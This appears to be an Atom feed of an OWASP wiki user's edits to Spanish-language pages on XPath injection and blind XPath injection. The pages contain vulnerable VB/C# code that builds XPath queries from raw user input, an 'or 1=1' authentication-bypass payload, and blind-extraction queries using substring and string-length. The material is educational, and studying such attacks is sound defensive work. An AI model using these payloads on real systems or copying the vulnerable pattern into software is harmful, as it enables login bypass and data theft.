<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AcE</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AcE"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/AcE"/>
		<updated>2026-04-30T07:14:40Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath&amp;diff=198272</id>
		<title>Inyección XPath</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath&amp;diff=198272"/>
				<updated>2015-08-01T00:18:16Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: /* Ejemplos */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
Es similar a las [[SQL Injection]], Los ataques de Inyección XPath se producen cuando un sitio web usa datos suministrada por un usuario para construir una consulta XPath para datos XML.Mediante el envío de información intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se estructuran los datos XML, o acceder a datos a los que no se suelen tener acceso. El atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en XML).&lt;br /&gt;
&lt;br /&gt;
Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que permite la consulta XML para localizar una información. Como SQL, puedes especificar ciertos atributos a encontrar, y los patrones a seguir. Cuando se usa XML en un sitio web es común aceptar algún formulario de entrada de cadena de texto para identificar el contenido de localizar y mostrar en la página. Esta entrada '' 'debe' '' ser supervisada para comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.&lt;br /&gt;
&lt;br /&gt;
XPath es un lenguaje estándar; su notación / sintaxis es siempre independiente de la implementación, lo que significa que el ataque puede ser automatizado.&lt;br /&gt;
No hay comunicaciones diferentes, como ocurre en las solicitudes a las bases de datos SQL.&lt;br /&gt;
&lt;br /&gt;
Debido a que no existe un control de acceso por niveles,es posible obtener el documento completo. No vamos a encontrar ningún tipo de limitación como podía ocurrir en los ataques de inyección SQL.&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
&lt;br /&gt;
Nosotros usaremos este fragmento XML para los ejemplos:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;Employees&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;Employee ID=&amp;quot;1&amp;quot;&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;FirstName&amp;amp;gt;Arnold&amp;amp;lt;/FirstName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;LastName&amp;amp;gt;Baker&amp;amp;lt;/LastName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;UserName&amp;amp;gt;ABaker&amp;amp;lt;/UserName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Password&amp;amp;gt;SoSecret&amp;amp;lt;/Password&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Type&amp;amp;gt;Admin&amp;amp;lt;/Type&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/Employee&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;Employee ID=&amp;quot;2&amp;quot;&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;FirstName&amp;amp;gt;Peter&amp;amp;lt;/FirstName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;LastName&amp;amp;gt;Pan&amp;amp;lt;/LastName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;UserName&amp;amp;gt;PPan&amp;amp;lt;/UserName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Password&amp;amp;gt;NotTelling&amp;amp;lt;/Password&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Type&amp;amp;gt;User&amp;amp;lt;/Type&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/Employee&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/Employees&amp;amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Supón que tenemos un sistema de autenticación en la web que usa un archivo de este tipo para loguear usuarios. Una vez que el nombre de usuario y la contraseña han sido introducidos el software deberá usar XPath para buscar el usuario:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VB:&lt;br /&gt;
Dim FindUserXPath as String&lt;br /&gt;
FindUserXPath = &amp;quot;//Employee[UserName/text()='&amp;quot; &amp;amp; Request(&amp;quot;Username&amp;quot;) &amp;amp; &amp;quot;' And &lt;br /&gt;
        Password/text()='&amp;quot; &amp;amp; Request(&amp;quot;Password&amp;quot;) &amp;amp; &amp;quot;']&amp;quot;&lt;br /&gt;
&lt;br /&gt;
C#:&lt;br /&gt;
String FindUserXPath;&lt;br /&gt;
FindUserXPath = &amp;quot;//Employee[UserName/text()='&amp;quot; + Request(&amp;quot;Username&amp;quot;) + &amp;quot;' And &lt;br /&gt;
        Password/text()='&amp;quot; + Request(&amp;quot;Password&amp;quot;) + &amp;quot;']&amp;quot;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Con un nombre de usuario normal y una contraseña este XPath debe funcionar, pero un atacante puede enviar un nombre de usuario y contraseña errónea y recibir el nodo XML seleccionado sin saber el usuario o contraseña, como aquí:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: blah' or 1=1 or 'a'='a&lt;br /&gt;
Password: blah&lt;br /&gt;
&lt;br /&gt;
FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or &lt;br /&gt;
        'a'='a' And Password/text()='blah']&lt;br /&gt;
&lt;br /&gt;
Logically this is equivalent to:&lt;br /&gt;
        //Employee[(UserName/text()='blah' or 1=1) or &lt;br /&gt;
        ('a'='a' And Password/text()='blah')]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En este caso, solo la primera parte de  el XPath necesita ser cierta. La parte del password se vuelve irrelevante, y parte del nombre de usuario devolverá todos los empleados puesto que parte de &amp;quot;1=1&amp;quot; siempre se cumplirá.&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Threat Agents]]==&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[LDAP injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Attacks]]==&lt;br /&gt;
* [[Blind_SQL_Injection]]&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category: Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath&amp;diff=198271</id>
		<title>Inyección XPath</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath&amp;diff=198271"/>
				<updated>2015-08-01T00:15:48Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: /* Ejemplos */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
Es similar a las [[SQL Injection]], Los ataques de Inyección XPath se producen cuando un sitio web usa datos suministrada por un usuario para construir una consulta XPath para datos XML.Mediante el envío de información intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se estructuran los datos XML, o acceder a datos a los que no se suelen tener acceso. El atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en XML).&lt;br /&gt;
&lt;br /&gt;
Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que permite la consulta XML para localizar una información. Como SQL, puedes especificar ciertos atributos a encontrar, y los patrones a seguir. Cuando se usa XML en un sitio web es común aceptar algún formulario de entrada de cadena de texto para identificar el contenido de localizar y mostrar en la página. Esta entrada '' 'debe' '' ser supervisada para comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.&lt;br /&gt;
&lt;br /&gt;
XPath es un lenguaje estándar; su notación / sintaxis es siempre independiente de la implementación, lo que significa que el ataque puede ser automatizado.&lt;br /&gt;
No hay comunicaciones diferentes, como ocurre en las solicitudes a las bases de datos SQL.&lt;br /&gt;
&lt;br /&gt;
Debido a que no existe un control de acceso por niveles,es posible obtener el documento completo. No vamos a encontrar ningún tipo de limitación como podía ocurrir en los ataques de inyección SQL.&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
&lt;br /&gt;
Nosotros usaremos este fragmento XML para los ejemplos:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;Employees&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;Employee ID=&amp;quot;1&amp;quot;&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;FirstName&amp;amp;gt;Arnold&amp;amp;lt;/FirstName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;LastName&amp;amp;gt;Baker&amp;amp;lt;/LastName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;UserName&amp;amp;gt;ABaker&amp;amp;lt;/UserName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Password&amp;amp;gt;SoSecret&amp;amp;lt;/Password&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Type&amp;amp;gt;Admin&amp;amp;lt;/Type&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/Employee&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;Employee ID=&amp;quot;2&amp;quot;&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;FirstName&amp;amp;gt;Peter&amp;amp;lt;/FirstName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;LastName&amp;amp;gt;Pan&amp;amp;lt;/LastName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;UserName&amp;amp;gt;PPan&amp;amp;lt;/UserName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Password&amp;amp;gt;NotTelling&amp;amp;lt;/Password&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Type&amp;amp;gt;User&amp;amp;lt;/Type&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/Employee&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/Employees&amp;amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Supón que tenemos un sistema de autenticación en la web que usa un archivo de este tipo para loguear usuarios. Una vez que el nombre de usuario y la contraseña han sido introducidos el software deberá usar XPath para buscar el usuario:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VB:&lt;br /&gt;
Dim FindUserXPath as String&lt;br /&gt;
FindUserXPath = &amp;quot;//Employee[UserName/text()='&amp;quot; &amp;amp; Request(&amp;quot;Username&amp;quot;) &amp;amp; &amp;quot;' And &lt;br /&gt;
        Password/text()='&amp;quot; &amp;amp; Request(&amp;quot;Password&amp;quot;) &amp;amp; &amp;quot;']&amp;quot;&lt;br /&gt;
&lt;br /&gt;
C#:&lt;br /&gt;
String FindUserXPath;&lt;br /&gt;
FindUserXPath = &amp;quot;//Employee[UserName/text()='&amp;quot; + Request(&amp;quot;Username&amp;quot;) + &amp;quot;' And &lt;br /&gt;
        Password/text()='&amp;quot; + Request(&amp;quot;Password&amp;quot;) + &amp;quot;']&amp;quot;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Con un nombre de usuario normal y una contraseña este XPath debe funcionar, pero un atacante puede enviar un nombre de usuario y contraseña errónea y recibir el nodo XML seleccionado sin saber el usuario o contraseña, como aquí:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: blah' or 1=1 or 'a'='a&lt;br /&gt;
Password: blah&lt;br /&gt;
&lt;br /&gt;
FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or &lt;br /&gt;
        'a'='a' And Password/text()='blah']&lt;br /&gt;
&lt;br /&gt;
Logically this is equivalent to:&lt;br /&gt;
        //Employee[(UserName/text()='blah' or 1=1) or &lt;br /&gt;
        ('a'='a' And Password/text()='blah')]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En este caso, solo la primera parte de  el XPath necesita ser cierta. La parte del password se vuelve irrelevante, y parte del nombre de Usuario &lt;br /&gt;
In this case, only the first part of the XPath needs to be true.  The password part becomes irrelevant, and the UserName part will match ALL employees because of the &amp;quot;1=1&amp;quot; part.&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Threat Agents]]==&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[LDAP injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Attacks]]==&lt;br /&gt;
* [[Blind_SQL_Injection]]&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category: Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath&amp;diff=198270</id>
		<title>Inyección XPath</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath&amp;diff=198270"/>
				<updated>2015-08-01T00:14:50Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: Created page with &amp;quot;{{Template:Attack}} &amp;lt;br&amp;gt; Category:OWASP ASDR Project  Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''   ==Descripción== Es similar a la...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
Es similar a las [[SQL Injection]], Los ataques de Inyección XPath se producen cuando un sitio web usa datos suministrada por un usuario para construir una consulta XPath para datos XML.Mediante el envío de información intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se estructuran los datos XML, o acceder a datos a los que no se suelen tener acceso. El atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en XML).&lt;br /&gt;
&lt;br /&gt;
Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que permite la consulta XML para localizar una información. Como SQL, puedes especificar ciertos atributos a encontrar, y los patrones a seguir. Cuando se usa XML en un sitio web es común aceptar algún formulario de entrada de cadena de texto para identificar el contenido de localizar y mostrar en la página. Esta entrada '' 'debe' '' ser supervisada para comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.&lt;br /&gt;
&lt;br /&gt;
XPath es un lenguaje estándar; su notación / sintaxis es siempre independiente de la implementación, lo que significa que el ataque puede ser automatizado.&lt;br /&gt;
No hay comunicaciones diferentes, como ocurre en las solicitudes a las bases de datos SQL.&lt;br /&gt;
&lt;br /&gt;
Debido a que no existe un control de acceso por niveles,es posible obtener el documento completo. No vamos a encontrar ningún tipo de limitación como podía ocurrir en los ataques de inyección SQL.&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
&lt;br /&gt;
Nosotros usaremos este fragmento XML para los ejemplos:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;Employees&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;Employee ID=&amp;quot;1&amp;quot;&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;FirstName&amp;amp;gt;Arnold&amp;amp;lt;/FirstName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;LastName&amp;amp;gt;Baker&amp;amp;lt;/LastName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;UserName&amp;amp;gt;ABaker&amp;amp;lt;/UserName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Password&amp;amp;gt;SoSecret&amp;amp;lt;/Password&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Type&amp;amp;gt;Admin&amp;amp;lt;/Type&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/Employee&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;Employee ID=&amp;quot;2&amp;quot;&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;FirstName&amp;amp;gt;Peter&amp;amp;lt;/FirstName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;LastName&amp;amp;gt;Pan&amp;amp;lt;/LastName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;UserName&amp;amp;gt;PPan&amp;amp;lt;/UserName&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Password&amp;amp;gt;NotTelling&amp;amp;lt;/Password&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;Type&amp;amp;gt;User&amp;amp;lt;/Type&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/Employee&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/Employees&amp;amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Supón que tenemos un sistema de autenticación en la web que usa un archivo de este tipo para loguear usuarios. Una vez que el nombre de usuario y la contraseña han sido introducidos el software deberá usar XPath para buscar el usuario:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VB:&lt;br /&gt;
Dim FindUserXPath as String&lt;br /&gt;
FindUserXPath = &amp;quot;//Employee[UserName/text()='&amp;quot; &amp;amp; Request(&amp;quot;Username&amp;quot;) &amp;amp; &amp;quot;' And &lt;br /&gt;
        Password/text()='&amp;quot; &amp;amp; Request(&amp;quot;Password&amp;quot;) &amp;amp; &amp;quot;']&amp;quot;&lt;br /&gt;
&lt;br /&gt;
C#:&lt;br /&gt;
String FindUserXPath;&lt;br /&gt;
FindUserXPath = &amp;quot;//Employee[UserName/text()='&amp;quot; + Request(&amp;quot;Username&amp;quot;) + &amp;quot;' And &lt;br /&gt;
        Password/text()='&amp;quot; + Request(&amp;quot;Password&amp;quot;) + &amp;quot;']&amp;quot;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Con un nombre de usuario normal y una contraseña este XPath debería funcionar, pero un atacante puede enviar un nombre de usuario y contraseña errónea y recibir el nodo XML seleccionado sin saber el usuario o contraseña, como aquí:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: blah' or 1=1 or 'a'='a&lt;br /&gt;
Password: blah&lt;br /&gt;
&lt;br /&gt;
FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or &lt;br /&gt;
        'a'='a' And Password/text()='blah']&lt;br /&gt;
&lt;br /&gt;
Logically this is equivalent to:&lt;br /&gt;
        //Employee[(UserName/text()='blah' or 1=1) or &lt;br /&gt;
        ('a'='a' And Password/text()='blah')]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En este caso, solo la primera parte de  el XPath necesita ser cierta. La parte del password se vuelve irrelevante, y parte del nombre de Usuario &lt;br /&gt;
In this case, only the first part of the XPath needs to be true.  The password part becomes irrelevant, and the UserName part will match ALL employees because of the &amp;quot;1=1&amp;quot; part.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Threat Agents]]==&lt;br /&gt;
* [[Command Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[LDAP injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Attacks]]==&lt;br /&gt;
* [[Blind_SQL_Injection]]&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category: Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Relacionado [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Injection Attack]]&lt;/div&gt;</summary>
		<author><name>AcE</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath_Ciega&amp;diff=198269</id>
		<title>Inyección XPath Ciega</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_XPath_Ciega&amp;diff=198269"/>
				<updated>2015-07-31T20:43:59Z</updated>
		
		<summary type="html">&lt;p&gt;AcE: /* Descripción */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Descripción==&lt;br /&gt;
&lt;br /&gt;
XPath es un tipo de lenguaje de consulta que describe cómo localizar elementos específicos (incluyendo atributos, instrucciones de procesamiento, etc.) en un documento XML. Dado que es un lenguaje de consulta, XPath es algo similar a Structured Query Language (SQL), sin embargo, XPath es diferente, ya que se puede utilizar para hacer referencia a casi cualquier parte de un documento XML y sin restricciones de control de acceso. En SQL, un “usuario” (que es un término no definido en el contexto XPath / XML) puede limitarse a determinadas bases de datos, tablas, columnas o consultas. El uso de un ataque de inyección XPath, un atacante es capaz de modificar la consulta XPATH para realizar una acción de su elección.&lt;br /&gt;
&lt;br /&gt;
Los Blind XPath Injection se pueden utilizar para extraer datos de una aplicación que incrusta los datos suministrados por el usuario de una manera insegura. Cuando la entrada no es verificada apropiadamente, un atacante puede introducir código XPath válido para que se ejecuta. Este tipo de ataque se utiliza en situaciones en las que el atacante no tiene conocimiento acerca de la estructura del documento XML, o tal vez el mensaje de error se suprime, y sólo es capaz de extraer una parte de la información por cada pregunta verdadero / falso (consultas booleanizadas), como en Blind SQL Injection.&lt;br /&gt;
&lt;br /&gt;
==Ejemplos==&lt;br /&gt;
El atacante puede montar un ataque con éxito utilizando dos métodos: Boolenización y XML Crawling. Para añadir a la sintaxis XPath, el atacante utiliza expresiones adicionales.&lt;br /&gt;
&lt;br /&gt;
===Booleanización===&lt;br /&gt;
Utilizando el método de “Boolenización” el atacante puede averiguar si la expresión XPath dada es verdadera o falsa. Vamos a suponer que el objetivo del atacante es iniciar sesión en una cuenta en una aplicación web. Un registro de éxito en regresaría “True” y sifracasó en el intento de registro volvería “Falso”. Sólo una pequeña parte de la información se dirige a través del carácter o número analizado. Cuando el atacante se centra en una cadena que puede revelar en su totalidad por el control de cada personaje dentro de la clase / gama de personajes esta cadena pertenece.&lt;br /&gt;
&lt;br /&gt;
Utilizando una función de &amp;lt;em&amp;gt;cadena de longitud (S),&amp;lt;/em&amp;gt; donde S es una cadena, el atacante puede averiguar la longitud de esta cadena. Con el número apropiado de &amp;lt;em&amp;gt;subcadena (S, N, 1)&amp;lt;/em&amp;gt; iteraciones de la función, donde S es una cadena mencionado previamente, N es un carácter de inicio, y “1″ es un carácter siguiente a contar desde carácter N, el atacante es capaz de enumerar la toda cadena.&lt;br /&gt;
Código:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;data&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;user&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;login&amp;amp;gt;admin&amp;amp;lt;/login&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;password&amp;amp;gt;test&amp;amp;lt;/password&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;realname&amp;amp;gt;SuperUser&amp;amp;lt;/realname&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/user&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;user&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;login&amp;amp;gt;rezos&amp;amp;lt;/login&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;password&amp;amp;gt;rezos123&amp;amp;lt;/password&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;realname&amp;amp;gt;Simple User&amp;amp;lt;/realname&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;/user&amp;amp;gt;&lt;br /&gt;
&amp;amp;lt;/data&amp;amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Función:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;string.stringlength (// user [position () = 1] / child :: node () [position () = 2])&amp;lt;/em&amp;gt; devuelve la longitud de la segunda cadena del primer usuario (8),&amp;lt;/li&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;&amp;lt;em&amp;gt;substring ((// user [position () = 1] / child :: node () [position () = 2), 1,1)&amp;lt;/em&amp;gt; devuelve el primer carácter de este usuario (&amp;quot;r&amp;quot;).&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===XML Crawling===&lt;br /&gt;
&lt;br /&gt;
Para conocer la estructura del documento XML que el atacante puede utilizar:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;count(expression)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;count(//user/child::node()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Esto retornará el numero de nodos (en este caso 2).&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;stringlength(string)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;string-length(//user[position()=1]/child::node()[position()=2])=6&amp;lt;/pre&amp;gt;&lt;br /&gt;
Usando esta consulta el atacante averiguará si la segunda cadena (password) del primer nodo (usuario &amp;quot;admin&amp;quot;) consta de 6 caracteres.&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
	&amp;lt;li&amp;gt;substring(string, number, number)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
